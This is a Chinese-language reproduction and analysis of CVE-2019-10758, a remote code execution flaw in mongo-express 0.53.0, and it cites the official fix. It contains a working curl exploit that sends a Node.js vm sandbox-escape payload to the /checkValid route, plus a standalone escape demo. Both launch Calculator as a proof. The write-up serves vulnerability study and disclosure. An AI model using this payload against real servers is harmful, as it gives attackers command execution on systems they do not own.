复现过程
拉一个MongoDB的docker镜像:1
docker run -p 27017:27017 -d mongo
本地npm init
创建个package.json
,接着添加依赖库`mongo-express@0.53.0,
npm install`安装1
2
3"dependencies": {
"mongo-express": "0.53.0"
},
EXP:1
curl 'https://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
漏洞分析
先来看看checkValid
这个路由:lib/router.js#279行
跟进checkValid
函数:lib/routes/document.js#28
获取post的的doc
参数,使用bson库进行BSON数据转换。
BSON是一种计算机数据交换格式,主要被用作MongoDB数据库中的数据存储和网络传输格式。它是一种二进制表示形式,能用来表示简单数据结构、关联数组(MongoDB中称为“对象”或“文档”)以及MongoDB中的各种数据类型。BSON之名缘于JSON,含义为Binary JSON(二进制JSON)
跟进toBSON函数:lib/bson.js#54
在第60行进入vm沙箱eval操作。
使用this.constructor.constructor
逃逸沙箱,参考https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html,使用this
指向VM容器外,使用.constructor
指向构造器,访问构造器的构造器对象,创建一个构造函数。
demo:1
2
3
4
5 ;
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator').toString()`);
console.log(xyz);
修复
官方修复删除了vm库的引用:https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2
参考:
- CVE-2019-10758:mongo-expressRCE复现分析
- CVE-2019-10758 POC
- Sandboxing NodeJS is hard, here is why
- https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function
- https://dfkaye.github.io/2014/03/14/javascript-eval-and-function-constructor/
- https://github.com/i0natan/nodebestpractices/issues/211